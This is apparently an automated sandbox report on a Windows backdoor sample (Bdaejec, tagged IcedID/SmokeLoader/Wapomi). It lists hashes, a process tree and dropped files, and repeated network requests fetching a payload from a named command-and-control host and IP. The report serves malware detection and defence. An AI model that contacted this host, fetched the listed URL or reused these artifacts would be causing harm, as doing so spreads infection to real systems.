bdaejec | 2914e42c6297fbaa619b482a24443b1956e9297f79bddd4c2092e1744e545aed

Analysis

max time kernel
122s
max time network
123s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
21/01/2025, 02:33 UTC

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General

Target

2025-01-21_276ac3b2560fe493b71e1bdccbcf7778_icedid_smoke-loader_wapomi.exe
Size

640KB
MD5

276ac3b2560fe493b71e1bdccbcf7778
SHA1

8b98f8b35ec30086a7c877089baff0ffb15b83fb
SHA256

2914e42c6297fbaa619b482a24443b1956e9297f79bddd4c2092e1744e545aed
SHA512

a594485a4e8ce5db777e2e73e15e1ec1f07c110232be5a208208fe48dddd04e7d3e8cbcb3af8bfd2b39dfa0cec8168095469eaaa8ab5c36029ca92d904d319ec
SSDEEP

12288:hJUvxKcxpJ6HL3D0jwiZcaKqqnfrjSZYqWP8Eq7tbgVv09smaM:U3xQDdiZcaKZYkq7tbg9

Score

10^/10

bdaejec aspackv2 backdoor discovery

Malware Config

Extracted

Family

bdaejec

ddos.dnsnb8.net

Signatures

Bdaejec
Bdaejec is a backdoor written in C++.
backdoor bdaejec
Bdaejec family
bdaejec

Detects Bdaejec Backdoor. 1 IoCs

Bdaejec is backdoor written in C++.

resource	yara_rule
behavioral1/memory/2672-31-0x0000000000030000-0x0000000000039000-memory.dmp	family_bdaejec_backdoor

ASPack v2.12-2.42 1 IoCs

Detects executables packed with ASPack v2.12-2.42

aspackv2

resource	yara_rule
behavioral1/files/0x0007000000012116-7.dat	aspack_v212_v242

Executes dropped EXE 1 IoCs

pid	Process
2672	qJeYHE.exe

Loads dropped DLL 5 IoCs

pid	Process
2392	2025-01-21_276ac3b2560fe493b71e1bdccbcf7778_icedid_smoke-loader_wapomi.exe
2392	2025-01-21_276ac3b2560fe493b71e1bdccbcf7778_icedid_smoke-loader_wapomi.exe
2672	qJeYHE.exe
2672	qJeYHE.exe
2672	qJeYHE.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\javah.exe	qJeYHE.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\kinit.exe	qJeYHE.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\bin\klist.exe	qJeYHE.exe
File opened for modification	C:\Program Files\Mozilla Firefox\default-browser-agent.exe	qJeYHE.exe
File opened for modification	C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe	qJeYHE.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\GRAPH.EXE	qJeYHE.exe
File opened for modification	C:\Program Files\7-Zip\7zFM.exe	qJeYHE.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\106.0.5249.119\notification_helper.exe	qJeYHE.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\bin\rmid.exe	qJeYHE.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\bin\policytool.exe	qJeYHE.exe
File opened for modification	C:\Program Files\Java\jre7\bin\ktab.exe	qJeYHE.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\vlc.exe	qJeYHE.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\java.exe	qJeYHE.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\jmap.exe	qJeYHE.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\xjc.exe	qJeYHE.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\bin\javacpl.exe	qJeYHE.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\bin\kinit.exe	qJeYHE.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\excelcnv.exe	qJeYHE.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\CLVIEW.EXE	qJeYHE.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\OIS.EXE	qJeYHE.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\ONENOTE.EXE	qJeYHE.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\appletviewer.exe	qJeYHE.exe
File opened for modification	C:\Program Files\Microsoft Games\Solitaire\Solitaire.exe	qJeYHE.exe
File opened for modification	C:\Program Files\Mozilla Firefox\maintenanceservice_installer.exe	qJeYHE.exe
File opened for modification	C:\Program Files (x86)\Google\Update\1.3.36.151\GoogleUpdateBroker.exe	qJeYHE.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\BCSSync.exe	qJeYHE.exe
File opened for modification	C:\Program Files (x86)\Windows Mail\WinMail.exe	qJeYHE.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\ONENOTEM.EXE	qJeYHE.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\XLICONS.EXE	qJeYHE.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\apt.exe	qJeYHE.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\jps.exe	qJeYHE.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\bin\orbd.exe	qJeYHE.exe
File opened for modification	C:\Program Files\Microsoft Games\Multiplayer\Backgammon\bckgzm.exe	qJeYHE.exe
File opened for modification	C:\Program Files\Windows Mail\wabmig.exe	qJeYHE.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\lib\nbexec.exe	qJeYHE.exe
File opened for modification	C:\Program Files\Microsoft Games\FreeCell\FreeCell.exe	qJeYHE.exe
File opened for modification	C:\Program Files\Mozilla Firefox\pingsender.exe	qJeYHE.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\jarsigner.exe	qJeYHE.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\javac.exe	qJeYHE.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\javap.exe	qJeYHE.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\jconsole.exe	qJeYHE.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\launcher.exe	qJeYHE.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\uninstall.exe	qJeYHE.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Setup Files\{AC76BA86-7AD7-1033-7B44-A90000000001}\Setup.exe	qJeYHE.exe
File opened for modification	C:\Program Files (x86)\Google\Update\1.3.36.151\GoogleUpdate.exe	qJeYHE.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\GROOVE.EXE	qJeYHE.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\IEContentService.exe	qJeYHE.exe
File opened for modification	C:\Program Files\7-Zip\Uninstall.exe	qJeYHE.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\jstatd.exe	qJeYHE.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\bin\javaws.exe	qJeYHE.exe
File opened for modification	C:\Program Files\Java\jre7\bin\pack200.exe	qJeYHE.exe
File opened for modification	C:\Program Files\Mozilla Firefox\plugin-container.exe	qJeYHE.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\PPTICO.EXE	qJeYHE.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\orbd.exe	qJeYHE.exe
File opened for modification	C:\Program Files\Java\jre7\bin\policytool.exe	qJeYHE.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\A3DUtility.exe	qJeYHE.exe
File opened for modification	C:\Program Files (x86)\Google\Update\1.3.36.151\GoogleUpdateComRegisterShell64.exe	qJeYHE.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\NAMECONTROLSERVER.EXE	qJeYHE.exe
File opened for modification	C:\Program Files\Java\jre7\bin\ssvagent.exe	qJeYHE.exe
File opened for modification	C:\Program Files\Microsoft Games\Multiplayer\Checkers\chkrzm.exe	qJeYHE.exe
File opened for modification	C:\Program Files (x86)\Windows Mail\wabmig.exe	qJeYHE.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\unpack200.exe	qJeYHE.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\bin\servertool.exe	qJeYHE.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\bin\unpack200.exe	qJeYHE.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\INF\setupapi.dev.log	2025-01-21_276ac3b2560fe493b71e1bdccbcf7778_icedid_smoke-loader_wapomi.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2025-01-21_276ac3b2560fe493b71e1bdccbcf7778_icedid_smoke-loader_wapomi.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	qJeYHE.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
2392	2025-01-21_276ac3b2560fe493b71e1bdccbcf7778_icedid_smoke-loader_wapomi.exe
2392	2025-01-21_276ac3b2560fe493b71e1bdccbcf7778_icedid_smoke-loader_wapomi.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 2392 wrote to memory of 2672	2392	2025-01-21_276ac3b2560fe493b71e1bdccbcf7778_icedid_smoke-loader_wapomi.exe	30
PID 2392 wrote to memory of 2672	2392	2025-01-21_276ac3b2560fe493b71e1bdccbcf7778_icedid_smoke-loader_wapomi.exe	30
PID 2392 wrote to memory of 2672	2392	2025-01-21_276ac3b2560fe493b71e1bdccbcf7778_icedid_smoke-loader_wapomi.exe	30
PID 2392 wrote to memory of 2672	2392	2025-01-21_276ac3b2560fe493b71e1bdccbcf7778_icedid_smoke-loader_wapomi.exe	30
PID 2392 wrote to memory of 2672	2392	2025-01-21_276ac3b2560fe493b71e1bdccbcf7778_icedid_smoke-loader_wapomi.exe	30
PID 2392 wrote to memory of 2672	2392	2025-01-21_276ac3b2560fe493b71e1bdccbcf7778_icedid_smoke-loader_wapomi.exe	30
PID 2392 wrote to memory of 2672	2392	2025-01-21_276ac3b2560fe493b71e1bdccbcf7778_icedid_smoke-loader_wapomi.exe	30
PID 2672 wrote to memory of 2588	2672	qJeYHE.exe	31
PID 2672 wrote to memory of 2588	2672	qJeYHE.exe	31
PID 2672 wrote to memory of 2588	2672	qJeYHE.exe	31
PID 2672 wrote to memory of 2588	2672	qJeYHE.exe	31
PID 2672 wrote to memory of 2588	2672	qJeYHE.exe	31
PID 2672 wrote to memory of 2588	2672	qJeYHE.exe	31
PID 2672 wrote to memory of 2588	2672	qJeYHE.exe	31

C:\Users\Admin\AppData\Local\Temp\2025-01-21_276ac3b2560fe493b71e1bdccbcf7778_icedid_smoke-loader_wapomi.exe
"C:\Users\Admin\AppData\Local\Temp\2025-01-21_276ac3b2560fe493b71e1bdccbcf7778_icedid_smoke-loader_wapomi.exe"
1⤵
- Loads dropped DLL
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2392
- C:\Users\Admin\AppData\Local\Temp\qJeYHE.exe
  C:\Users\Admin\AppData\Local\Temp\qJeYHE.exe
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Drops file in Program Files directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2672
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c ""C:\Users\Admin\AppData\Local\Temp\34c77f7a.bat" "
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2588

Network

DNS

ddos.dnsnb8.net

qJeYHE.exe

Remote address:

8.8.8.8:53

Request

ddos.dnsnb8.net

IN A

Response

ddos.dnsnb8.net

IN A

44.221.84.105
GET

http://ddos.dnsnb8.net:799/cj//k1.rar

qJeYHE.exe

Remote address:

44.221.84.105:799

Request

GET /cj//k1.rar HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
Host: ddos.dnsnb8.net:799
Connection: Keep-Alive
GET

http://ddos.dnsnb8.net:799/cj//k1.rar

qJeYHE.exe

Remote address:

44.221.84.105:799

Request

GET /cj//k1.rar HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
Host: ddos.dnsnb8.net:799
Connection: Keep-Alive
GET

http://ddos.dnsnb8.net:799/cj//k1.rar

qJeYHE.exe

Remote address:

44.221.84.105:799

Request

GET /cj//k1.rar HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
Host: ddos.dnsnb8.net:799
Connection: Keep-Alive
GET

http://ddos.dnsnb8.net:799/cj//k1.rar

qJeYHE.exe

Remote address:

44.221.84.105:799

Request

GET /cj//k1.rar HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
Host: ddos.dnsnb8.net:799
Connection: Keep-Alive
GET

http://ddos.dnsnb8.net:799/cj//k1.rar

qJeYHE.exe

Remote address:

44.221.84.105:799

Request

GET /cj//k1.rar HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
Host: ddos.dnsnb8.net:799
Connection: Keep-Alive

44.221.84.105:799

http://ddos.dnsnb8.net:799/cj//k1.rar

http

qJeYHE.exe

466 B
176 B
3
4

HTTP Request

GET http://ddos.dnsnb8.net:799/cj//k1.rar
44.221.84.105:799

http://ddos.dnsnb8.net:799/cj//k1.rar

http

qJeYHE.exe

466 B
176 B
3
4

HTTP Request

GET http://ddos.dnsnb8.net:799/cj//k1.rar
44.221.84.105:799

http://ddos.dnsnb8.net:799/cj//k1.rar

http

qJeYHE.exe

466 B
176 B
3
4

HTTP Request

GET http://ddos.dnsnb8.net:799/cj//k1.rar
44.221.84.105:799

http://ddos.dnsnb8.net:799/cj//k1.rar

http

qJeYHE.exe

466 B
176 B
3
4

HTTP Request

GET http://ddos.dnsnb8.net:799/cj//k1.rar
44.221.84.105:799

http://ddos.dnsnb8.net:799/cj//k1.rar

http

qJeYHE.exe

466 B
176 B
3
4

HTTP Request

GET http://ddos.dnsnb8.net:799/cj//k1.rar

8.8.8.8:53

ddos.dnsnb8.net

dns

qJeYHE.exe

61 B
77 B
1
1

DNS Request

ddos.dnsnb8.net

DNS Response

44.221.84.105

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\34c77f7a.bat

Filesize
187B

MD5
72d320df720657a8fb1ea13f7dcdb6e2

SHA1
e056524e2159c4dad2a925f468afb5a3019e1bb2

SHA256
1860f37d1b61da141de153301ef31c3074b93dcc4ac5eb910f407d0f22ae2ffe

SHA512
a9d59f3a15178ead68d93109cdc4cf3194cee6a4d2c63828648a9267092b461bff92357140f08121b2f705c5a028e4b4357c73fd977473d4c7b0afdd3d764c27

Download Submit
C:\Users\Admin\AppData\Local\Temp\qJeYHE.exe

Filesize
15KB

MD5
56b2c3810dba2e939a8bb9fa36d3cf96

SHA1
99ee31cd4b0d6a4b62779da36e0eeecdd80589fc

SHA256
4354970ccc7cd6bb16318f132c34f6a1b3d5c2ea7ff53e1c9271905527f2db07

SHA512
27812a9a034d7bd2ca73b337ae9e0b6dc79c38cfd1a2c6ac9d125d3cc8fa563c401a40d22155811d5054e5baa8cf8c8e7e03925f25fa856a9ba9dea708d15b4e

Download Submit
memory/2392-12-0x00000000004B0000-0x00000000004B9000-memory.dmp

Filesize
36KB

Download
memory/2392-0-0x0000000000400000-0x00000000004A7000-memory.dmp

Filesize
668KB

Download
memory/2392-11-0x00000000004B0000-0x00000000004B9000-memory.dmp

Filesize
36KB

Download
memory/2392-9-0x00000000008A0000-0x0000000000947000-memory.dmp

Filesize
668KB

Download
memory/2392-8-0x00000000008A0000-0x0000000000947000-memory.dmp

Filesize
668KB

Download
memory/2392-33-0x0000000000400000-0x00000000004A7000-memory.dmp

Filesize
668KB

Download
memory/2392-34-0x00000000004B0000-0x00000000004B9000-memory.dmp

Filesize
36KB

Download
memory/2392-35-0x00000000004B0000-0x00000000004B9000-memory.dmp

Filesize
36KB

Download
memory/2672-19-0x0000000000036000-0x0000000000037000-memory.dmp

Filesize
4KB

Download
memory/2672-18-0x0000000000020000-0x0000000000029000-memory.dmp

Filesize
36KB

Download
memory/2672-13-0x0000000000030000-0x0000000000039000-memory.dmp

Filesize
36KB

Download
memory/2672-31-0x0000000000030000-0x0000000000039000-memory.dmp

Filesize
36KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

HTTP Request

HTTP Request

HTTP Request

HTTP Request

HTTP Request

DNS Request

DNS Response

MITRE ATT&CK Enterprise v15

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Downloads

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